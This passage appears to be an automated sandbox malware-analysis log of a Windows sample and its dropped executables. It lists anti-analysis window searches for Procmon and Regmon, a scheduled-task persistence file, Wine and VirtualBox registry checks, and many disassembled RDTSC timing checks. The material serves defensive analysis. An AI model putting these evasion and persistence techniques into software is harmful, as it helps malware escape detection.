Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C4255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C4255F0

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 723E59 second address: 723E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 723E65 second address: 723E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71C2AD second address: 71C2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71C2B1 second address: 71C2B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71C2B5 second address: 71C2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 72505C second address: 725060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725060 second address: 72506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB424542846h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 72506E second address: 72507A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 72507A second address: 725095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB42454284Eh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725095 second address: 7250B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7250B5 second address: 7250B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 72517E second address: 725186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725186 second address: 7251A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jno 00007FB42454284Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FB424542846h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7252F9 second address: 725301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725301 second address: 72535E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424542853h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pop edx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jno 00007FB42454285Bh 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007FB424542856h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 72535E second address: 725364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725364 second address: 725368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725456 second address: 7254B5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4246CBDE8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e sub dword ptr [ebp+122D307Ah], eax 0x00000014 jmp 00007FB4246CBDEAh 0x00000019 popad 0x0000001a lea ebx, dword ptr [ebp+12459FCAh] 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FB4246CBDE8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a push ebx 0x0000003b sub esi, 6819887Ah 0x00000041 pop edi 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FB4246CBDECh 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7254B5 second address: 7254BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 725599 second address: 7255B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FB4246CBDECh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255B1 second address: 7255B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255B5 second address: 7255B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255B9 second address: 7255C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255C2 second address: 7255D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jbe 00007FB4246CBDE6h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255D6 second address: 7255DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7255DB second address: 725609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB4246CBDE6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f ja 00007FB4246CBDF7h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71715C second address: 717162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 717162 second address: 71717A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FB4246CBDE6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71717A second address: 7171B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542854h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FB424542859h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FB424542846h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7450D6 second address: 7450DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7450DA second address: 7450E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7450E0 second address: 745113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB4246CBDE6h 0x00000009 jnl 00007FB4246CBDE6h 0x0000000f jmp 00007FB4246CBDF6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jl 00007FB4246CBDE6h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 745113 second address: 745127 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnc 00007FB424542846h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 745127 second address: 74512B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 74512B second address: 745136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 745C43 second address: 745C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FB4246CBDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 745C52 second address: 745C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 745C58 second address: 745C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7460CB second address: 7460D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7460D1 second address: 7460DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7460DF second address: 7460E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7460E5 second address: 746120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB4246CBDE6h 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007FB4246CBDF5h 0x00000011 jmp 00007FB4246CBDF3h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746AF8 second address: 746AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746DDF second address: 746DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746DE3 second address: 746E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746E00 second address: 746E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746E04 second address: 746E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 746E0E second address: 746E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71208E second address: 712092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 712092 second address: 712096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 712096 second address: 71209C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 750765 second address: 750769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 750769 second address: 750783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Dh 0x00000007 jng 00007FB424542846h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 750783 second address: 750788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 750788 second address: 750794 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB42454284Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 750794 second address: 75079E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752BAC second address: 752BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jo 00007FB42454285Ah 0x0000000f jmp 00007FB424542854h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752BD9 second address: 752BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752BDD second address: 752BE7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752BE7 second address: 752C0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 adc edi, 491E0B25h 0x0000000f call 00007FB4246CBDE9h 0x00000014 jl 00007FB4246CBDF4h 0x0000001a pushad 0x0000001b je 00007FB4246CBDE6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752C0E second address: 752C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jng 00007FB42454284Eh 0x0000000c push edi 0x0000000d jbe 00007FB424542846h 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b jmp 00007FB424542850h 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752C3A second address: 752C41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752EEA second address: 752EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752EEF second address: 752F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4246CBDF2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752F05 second address: 752F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752FC5 second address: 752FCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB4246CBDE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 752FCF second address: 752FE1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 753061 second address: 753088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB4246CBDE6h 0x0000000a popad 0x0000000b jmp 00007FB4246CBDF6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7538FE second address: 753908 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB42454284Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 754CCF second address: 754CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 756608 second address: 75660C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7570E4 second address: 7570E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75BC88 second address: 75BC8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75BC8C second address: 75BC95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C1E0 second address: 75C223 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB424542848h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d sbb ebx, 43AC95B1h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FB424542848h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov bl, 52h 0x00000031 push eax 0x00000032 push ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push esi 0x00000036 pop esi 0x00000037 rdtsc
